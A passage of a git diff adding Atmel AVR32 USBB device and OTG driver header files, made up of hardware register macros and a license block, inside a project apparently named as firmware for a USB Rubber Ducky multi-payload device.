NAK IN received +#define Is_udd_nak_in(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKINI_MASK)) + //! acks NAK IN received +#define udd_ack_nak_in(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKINIC_MASK) + //! raises NAK IN received +#define udd_raise_nak_in(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKINIS_MASK) + //! enables NAK IN interrupt +#define udd_enable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKINES_MASK) + //! disables NAK IN interrupt +#define udd_disable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKINEC_MASK) + //! tests if NAK IN interrupt is enabled +#define Is_udd_nak_in_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKINE_MASK)) + + //! acks endpoint isochronous overflow interrupt +#define udd_ack_overflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_OVERFIC_MASK) + //! raises endpoint isochronous overflow interrupt +#define udd_raise_overflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_OVERFIS_MASK) + //! tests if an overflow occurs +#define Is_udd_overflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_OVERFI_MASK)) + //! enables overflow interrupt +#define udd_enable_overflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_OVERFES_MASK) + //! disables overflow interrupt +#define udd_disable_overflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_OVERFEC_MASK) + //! tests if overflow interrupt is enabled +#define Is_udd_overflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_OVERFE_MASK)) + + //! acks endpoint isochronous underflow interrupt +#define udd_ack_underflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_UNDERFIC_MASK) + //! raises endpoint isochronous underflow interrupt +#define udd_raise_underflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_UNDERFIS_MASK) + //! tests if an underflow occurs +#define Is_udd_underflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_UNDERFI_MASK)) + //! enables underflow interrupt +#define udd_enable_underflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables underflow interrupt +#define udd_disable_underflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if underflow interrupt is enabled +#define Is_udd_underflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if CRC ERROR ISO OUT detected +#define Is_udd_crc_error(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks CRC ERROR ISO OUT detected +#define udd_ack_crc_error(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises CRC ERROR ISO OUT detected +#define udd_raise_crc_error(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables CRC ERROR ISO OUT detected interrupt +#define udd_enable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables CRC ERROR ISO OUT detected interrupt +#define udd_disable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if CRC ERROR ISO OUT detected interrupt is enabled +#define Is_udd_crc_error_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if endpoint read allowed +#define Is_udd_read_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + //! tests if endpoint write allowed +#define Is_udd_write_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + + //! returns the byte count +#define udd_byte_count(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_BYCT_MASK)) + //! clears FIFOCON bit +#define udd_ack_fifocon(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_FIFOCONC_MASK) + //! tests if FIFOCON bit set +#define Is_udd_fifocon(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_FIFOCON_MASK)) + + //! returns the number of busy banks +#define udd_nb_busy_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NBUSYBK_MASK)) + //! returns the number of the current bank +#define udd_current_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CURRBK_MASK)) + //! kills last bank +#define udd_kill_last_in_bank(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_KILLBKS_MASK) + //! tests if last bank killed +#define Is_udd_last_in_bank_killed(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_KILLBK_MASK)) + //! forces all banks full (OUT) or free (IN) interrupt +#define udd_force_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! unforces all banks full (OUT) or free (IN) interrupt +#define udd_unforce_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! enables all banks full (OUT) or free (IN) interrupt +#define udd_enable_bank_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NBUSYBKES_MASK) + //! disables all banks full (OUT) or free (IN) interrupt +#define udd_disable_bank_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NBUSYBKEC_MASK) + //! tests if all banks full (OUT) or free (IN) interrupt enabled +#define Is_udd_bank_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NBUSYBKE_MASK)) + + //! tests if SHORT PACKET received +#define Is_udd_short_packet(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_SHORTPACKETI_MASK)) + //! acks SHORT PACKET received +#define udd_ack_short_packet(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_SHORTPACKETIC_MASK) + //! raises SHORT PACKET received +#define udd_raise_short_packet(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_SHORTPACKETIS_MASK) + //! enables SHORT PACKET received interrupt +#define udd_enable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_SHORTPACKETES_MASK) + //! disables SHORT PACKET received interrupt +#define udd_disable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_SHORTPACKETEC_MASK) + //! tests if SHORT PACKET received interrupt is enabled +#define Is_udd_short_packet_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_SHORTPACKETE_MASK)) + + //! Get 64-, 32-, 16- or 8-bit access to FIFO data register of selected endpoint. + //! @param ep Endpoint of which to access FIFO data register + //! @param scale Data scale in bits: 64, 32, 16 or 8 + //! @return Volatile 64-, 32-, 16- or 8-bit data pointer to FIFO data register + //! @warning It is up to the user of this macro to make sure that all accesses + //! are aligned with their natural boundaries except 64-bit accesses which + //! require only 32-bit alignment. + //! @warning It is up to the user of this macro to make sure that used HSB + //! addresses are identical to the DPRAM internal pointer modulo 32 bits. +#define udd_get_endpoint_fifo_access(ep, scale) \ + (((volatile TPASTE2(U, scale) (*)[0x10000 / ((scale) / 8)])AVR32_USBB_SLAVE)[(ep)]) + +//! @name USBB endpoint DMA drivers +//! These macros manage the common features of the endpoint DMA channels. +//! @{ + //! enables the disabling of HDMA requests by endpoint interrupts +#define udd_enable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0set(ep) = AVR32_USBB_UECON0SET_EPDISHDMAS_MASK) + //! disables the disabling of HDMA requests by endpoint interrupts +#define udd_disable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0clr(ep) = AVR32_USBB_UECON0CLR_EPDISHDMAC_MASK) + //! tests if the disabling of HDMA requests by endpoint interrupts is enabled +#define Is_udd_endpoint_int_dis_hdma_req_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0(ep), AVR32_USBB_UECON0_EPDISHDMA_MASK)) + + //! raises the selected endpoint DMA channel interrupt +#define udd_raise_endpoint_dma_interrupt(ep) (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1)) + //! tests if an interrupt is triggered by the selected endpoint DMA channel +#define Is_udd_endpoint_dma_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_DMA1INT_MASK << ((ep) - 1))) + //! enables the selected endpoint DMA channel interrupt +#define udd_enable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_DMA1INTES_MASK << ((ep) - 1)) + //! disables the selected endpoint DMA channel interrupt +#define udd_disable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_DMA1INTEC_MASK << ((ep) - 1)) + //! tests if the selected endpoint DMA channel interrupt is enabled +#define Is_udd_endpoint_dma_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_DMA1INTE_MASK << ((ep) - 1))) + + //! Access points to the USBB device DMA memory map with arrayed registers + //! @{ + //! Structure for DMA registers +typedef struct { + union { + unsigned long nextdesc; + avr32_usbb_uddma1_nextdesc_t NEXTDESC; + }; + unsigned long addr; + union { + unsigned long control; + avr32_usbb_uddma1_control_t CONTROL; + }; + union { + unsigned long status; + avr32_usbb_uddma1_status_t STATUS; + }; +} avr32_usbb_uxdmax_t; + //! Structure for DMA registers +#define USBB_UDDMA_ARRAY(ep) (((volatile avr32_usbb_uxdmax_t *)&AVR32_USBB.uddma1_nextdesc)[(ep) - 1]) + + //! Set control desc to selected endpoint DMA channel +#define udd_endpoint_dma_set_control(ep,desc) (USBB_UDDMA_ARRAY(ep).control=desc) + //! Get control desc to selected endpoint DMA channel +#define udd_endpoint_dma_get_control(ep) (USBB_UDDMA_ARRAY(ep).control) + //! Set RAM address to selected endpoint DMA channel +#define udd_endpoint_dma_set_addr(ep,add) (USBB_UDDMA_ARRAY(ep).addr=add) + //! Get status to selected endpoint DMA channel +#define udd_endpoint_dma_get_status(ep) (USBB_UDDMA_ARRAY(ep).status) + //! @} +//! @} + +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if SETUP received +#define Is_udd_setup_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXSTPI_MASK)) + //! acks SETUP received +#define udd_ack_setup_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXSTPIC_MASK) + //! raises SETUP received +#define udd_raise_setup_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXSTPIS_MASK) + //! enables SETUP received interrupt +#define udd_enable_setup_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables SETUP received interrupt +#define udd_disable_setup_received_interrupt() (USBB_ARRAY(uecon0clr(EP_CONTROL) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if SETUP received interrupt is enabled +#define Is_udd_setup_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if OUT received +#define Is_udd_out_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXOUTI_MASK)) + //! acks OUT received +#define udd_ack_out_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXOUTIC_MASK) + //! raises OUT received +#define udd_raise_out_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXOUTIS_MASK) + //! enables OUT received interrupt +#define udd_enable_out_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXOUTES_MASK) + //! disables OUT received interrupt +#define udd_disable_out_received_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXOUTEC_MASK) + //! tests if OUT received interrupt is enabled +#define Is_udd_out_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXOUTE_MASK)) + + //! tests if IN sending +#define Is_udd_in_send(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_TXINI_MASK)) + //! acks IN sending +#define udd_ack_in_send(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_TXINIC_MASK) + //! raises IN sending +#define udd_raise_in_send(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_TXINIS_MASK) + //! enables IN sending interrupt +#define udd_enable_in_send_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_TXINES_MASK) + //! disables IN sending interrupt +#define udd_disable_in_send_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_TXINEC_MASK) + //! tests if IN sending interrupt is enabled +#define Is_udd_in_send_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_TXINE_MASK)) +//! @} + +//! @} + +#endif // _USBB_DEVICE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_otg.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_otg.h new file mode 100644 index 0000000..719fafc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_otg.h @@ -0,0 +1,234 @@ +/** + * \file + * + * \brief USBB OTG Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_OTG_H_ +#define _USBB_OTG_H_ + +#include "compiler.h" +#include "preprocessor.h" + +//! \ingroup usb_group +//! \defgroup otg_group USB OTG Driver (OTG) +//! USBB low-level driver for OTG features +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB IP properties +//! These macros give access to IP properties +//! @{ + //! Get IP name part 1 or 2 +#define otg_get_ip_name() (((uint64_t)AVR32_USBB.uname2<<32)|(uint64_t)AVR32_USBB.uname1) + //! Instruction to access at a peripheral register after interrupt clear, see AVR32002 - AVR32UC Technical reference $6.6 Memory barriers +#define otg_data_memory_barrier() (AVR32_USBB.uvers) + //! Get IP version +#define otg_get_ip_version() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_VERSION_NUM_MASK)) + //! Get number of metal fixes +#define otg_get_metal_fix_nbr() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_METAL_FIX_NUM_MASK)) + //! Get number of hardware-implemented DMA channels +#define otg_get_dma_channel_nbr() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_CHANNEL_NBR_MASK)) + //! Get DMA buffer size +#define otg_get_dma_buffer_size() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_BUFFER_SIZE_MASK)) + //! Get DMA FIFO depth in words +#define otg_get_dma_fifo_word_depth() (((Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_SIZE) - 1)) + 1) + //! Get DPRAM size (FIFO maximal size) in bytes +#define otg_get_dpram_size() (128 << Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_FIFO_MAX_SIZE_MASK)) + //! Test if DPRAM is natively byte write capable +#define Is_otg_dpram_byte_write_capable() (Tst_bits(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_BYTE_WRITE_DPRAM_MASK)) + //! Get size of USBB PB address space +#define otg_get_ip_paddress_size() (AVR32_USBB.uaddrsize) +//! @} + +//! @name USBB OTG ID pin management +//! These macros manage the ID pin use or not to switch between Host or Device mode +//! @{ + //! Pin and function for USB_ID according to configuration from OTG_ID +#define OTG_ID_PIN ATPASTE2(OTG_ID, _PIN) +#define OTG_ID_FUNCTION ATPASTE2(OTG_ID, _FUNCTION) + + //! Input OTG_ID from its pin +#define otg_input_id_pin() \ +{\ + (Tst_bits(OTG_ID_FUNCTION, 0x01)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0c = 1 << (OTG_ID_PIN & 0x1F)); \ + (Tst_bits(OTG_ID_FUNCTION, 0x02)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1c = 1 << (OTG_ID_PIN & 0x1F)); \ + AVR32_GPIO.port[OTG_ID_PIN >> 5].gperc = 1 << (OTG_ID_PIN & 0x1F);\ + AVR32_GPIO.port[OTG_ID_PIN >> 5].puers = 1 << (OTG_ID_PIN & 0x1F);\ +} + //! Test if OTG_ID is input from its pin +#define Is_otg_id_pin_input() \ + ( !Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].gper, 1 << (OTG_ID_PIN & 0x1F)) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x01) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x02)) + + //! Enable external OTG_ID pin (listened to by USB) +#define otg_enable_id_pin() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin (ignored by USB) +#define otg_disable_id_pin() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Test if external OTG_ID pin enabled (listened to by USB) +#define Is_otg_id_pin_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin and force device mode +#define otg_force_device_mode() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if device mode is forced +#define Is_otg_device_mode_forced() (!Is_otg_id_pin_enabled() && Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + //! Disable external OTG_ID pin and force host mode +#define otg_force_host_mode() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if host mode is forced +#define Is_otg_host_mode_forced() (!Is_otg_id_pin_enabled() && !Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + +//! @name USBB OTG ID pin interrupt management +//! These macros manage the ID pin interrupt +//! @{ +#define otg_enable_id_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define otg_disable_id_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_device() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ID_MASK)) +#define otg_ack_id_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_IDTIC_MASK) +#define otg_raise_id_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_IDTIS_MASK) +#define Is_otg_id_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_IDTI_MASK)) +//! @} + +//! @} + +//! @name USBB OTG main management +//! These macros allows to enable/disable pad and USBB hardware +//! @{ + //! Enable USB macro +#define otg_enable() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + //! Disable USB macro +#define otg_disable() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) +#define Is_otg_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + + //! Enable OTG pad +#define otg_enable_pad() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + //! Disable OTG pad +#define otg_disable_pad() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) +#define Is_otg_pad_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + + //! Check Clock Usable + //! For parts with HS feature, this one corresponding at UTMI clock +#define Is_clock_usable() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_CLKUSABLE_MASK)) + + //! Stop (freeze) internal USB clock +#define otg_freeze_clock() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define otg_unfreeze_clock() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define Is_otg_clock_frozen() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) + + //! Configure time-out of specified OTG timer +#define otg_configure_timeout(timer, timeout) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK, timeout),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK)) + //! Get configured time-out of specified OTG timer +#define otg_get_timeout(timer) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Rd_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK)) + + + //! Get the dual-role device state of the internal USB finite state machine of the USBB controller +#define otg_get_fsm_drd_state() (Rd_bitfield(AVR32_USBB.usbfsm, AVR32_USBB_USBFSM_DRDSTATE_MASK)) +//! @} + +//! @name USBB OTG hardware protocol +//! These macros manages the hardware OTG protocol +//! @{ + //! initiates a Host Negociation Protocol +#define otg_device_initiate_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! accepts a Host Negociation Protocol +#define otg_host_accept_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! rejects a Host Negociation Protocol +#define otg_host_reject_hnp() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! initiates a Session Request Protocol +#define otg_device_initiate_srp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + //! selects VBus as SRP method +#define otg_select_vbus_srp_method() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_vbus_srp_method_selected() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) + //! selects data line as SRP method +#define otg_select_data_srp_method() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_data_srp_method_selected() (!Is_otg_vbus_srp_method_selected()) + //! tests if a HNP occurs +#define Is_otg_hnp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! tests if a SRP from device occurs +#define Is_otg_device_srp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + + //! enables HNP error interrupt +#define otg_enable_hnp_error_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! disables HNP error interrupt +#define otg_disable_hnp_error_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) +#define Is_otg_hnp_error_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! acks HNP error interrupt +#define otg_ack_hnp_error_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_HNPERRIC_MASK) + //! raises HNP error interrupt +#define otg_raise_hnp_error_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_HNPERRIS_MASK) + //! tests if a HNP error occurs +#define Is_otg_hnp_error_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_HNPERRI_MASK)) + + //! enables role exchange interrupt +#define otg_enable_role_exchange_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! disables role exchange interrupt +#define otg_disable_role_exchange_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) +#define Is_otg_role_exchange_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! acks role exchange interrupt +#define otg_ack_role_exchange_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_ROLEEXIC_MASK) + //! raises role exchange interrupt +#define otg_raise_role_exchange_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_ROLEEXIS_MASK) + //! tests if a role exchange occurs +#define Is_otg_role_exchange_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ROLEEXI_MASK)) + + //! enables SRP interrupt +#define otg_enable_srp_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! disables SRP interrupt +#define otg_disable_srp_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) +#define Is_otg_srp_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! acks SRP interrupt +#define otg_ack_srp_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_SRPIC_MASK) + //! raises SRP interrupt +#define otg_raise_srp_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_SRPIS_MASK) + //! tests if a SRP occurs +#define Is_otg_srp_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SRPI_MASK)) +//! @} + +//! @} + +#endif // _USBB_OTG_H_ diff --git 